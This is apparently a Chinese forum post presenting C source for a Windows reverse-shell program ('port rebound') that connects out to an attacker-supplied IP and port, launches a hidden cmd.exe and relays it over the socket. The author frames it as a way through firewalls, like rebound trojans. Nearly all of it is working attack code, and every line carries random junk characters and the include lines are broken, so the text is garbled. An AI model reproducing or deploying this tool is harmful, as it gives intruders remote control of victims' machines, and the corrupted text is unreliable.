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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Sdc yL%6!  
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/* ============================== WVP^C71  
Rebound port in Windows NT 2{<5?Op  
By wind,2006/7 *AO^oBeY  
===============================*/ pa7Iz^i  
#include i.0}d5Y  
#include [OH9/ "  
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#pragma comment(lib,"wsock32.lib") C *\ =Q  
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void OutputShell(); \]uo^@$bm  
SOCKET sClient; kW v)+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0;*1g47\  
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void main(int argc,char **argv) piZ0KA"  
{ Kr$ w"]  
WSADATA stWsaData; rt\i@}  
int nRet; vgfLI}|5  
SOCKADDR_IN stSaiClient,stSaiServer; sqAZjfy@  
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if(argc != 3) [LwmzmV+F  
{ 4g}eqW  
printf("Useage:\n\rRebound DestIP DestPort\n"); %p5%Fs`sd  
return; &cty&(2p  
} mL!)(Bb  
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WSAStartup(MAKEWORD(2,2),&stWsaData); VEolyPcsg&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dtK[H+  
0]tr&BLl*  
stSaiClient.sin_family = AF_INET; _m;#+`E  
stSaiClient.sin_port = htons(0); MGH(= w1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xWY%-CWY.  
K{]!hm,[3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f'hrS}e  
{ /8Sg<  
printf("Bind Socket Failed!\n"); JQ-O=8]  
return; V1[Cc?o  
} gP&G63^  
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stSaiServer.sin_family = AF_INET; [sxJ<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <1r#hFUUL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )U6-&-07  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j2@19YXe@  
{ qa>Z?/w  
printf("Connect Error!"); cV=0)'&<`_  
return; Fjq~^_8  
} 6V[ce4a%  
OutputShell(); 7w}PYp1Z'~  
} 3>Ne_kY  
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void OutputShell() CN7 2 E  
{ 2P&KU%D)0s  
char szBuff[1024]; adi^*7Q] )  
SECURITY_ATTRIBUTES stSecurityAttributes; ssf.ef$  
OSVERSIONINFO stOsversionInfo; <a=,{O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uT")j,tz  
STARTUPINFO stStartupInfo; rn$LZE %  
char *szShell; ],!7S"{97  
PROCESS_INFORMATION stProcessInformation; puv/+!q  
unsigned long lBytesRead; 2u B66i  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EbG`q!C  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |.asg  
stSecurityAttributes.lpSecurityDescriptor = 0; u~JCMM$  
stSecurityAttributes.bInheritHandle = TRUE; z}772hMB  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N;\G=q] 9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qD#E, "%  
:6N'%LKK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $|0?$U7!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k&<cFZU  
stStartupInfo.wShowWindow = SW_HIDE; TbK;_pg  
stStartupInfo.hStdInput = hReadPipe; 0$saDmED  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IJ#G/<ZJZ  
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GetVersionEx(&stOsversionInfo); V~9vf*X  
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switch(stOsversionInfo.dwPlatformId) 7W7!X\0Y  
{ 5.]eF$x2  
case 1: Oo)MxYPU  
szShell = "command.com"; E/<5JhI9~  
break; U]8 @  
default: yf lt2 R  
szShell = "cmd.exe"; L`iC?<}  
break; G $P|F6  
} JA")L0a_  
KS9 e V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RyAss0Sm^  
&EZq%Sd  
send(sClient,szMsg,77,0); g^`; B"  
while(1) 7H,p/G?]k  
{ y*f 5_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )`4g,W  
if(lBytesRead) Q5!"tF p  
{ mbZS J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h 8ND=(  
send(sClient,szBuff,lBytesRead,0); )/B' ODa  
} 9rd7l6$R"  
else eM>f#M  
{ 96 oztUK  
lBytesRead=recv(sClient,szBuff,1024,0); ,hggmzA~  
if(lBytesRead<=0) break; =}8:zO 2'{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8/tvS8I#y  
} EYLqg`2A  
} <<ze84 E  
L#\!0YW/@  
return; ya*KA.EGg  
}
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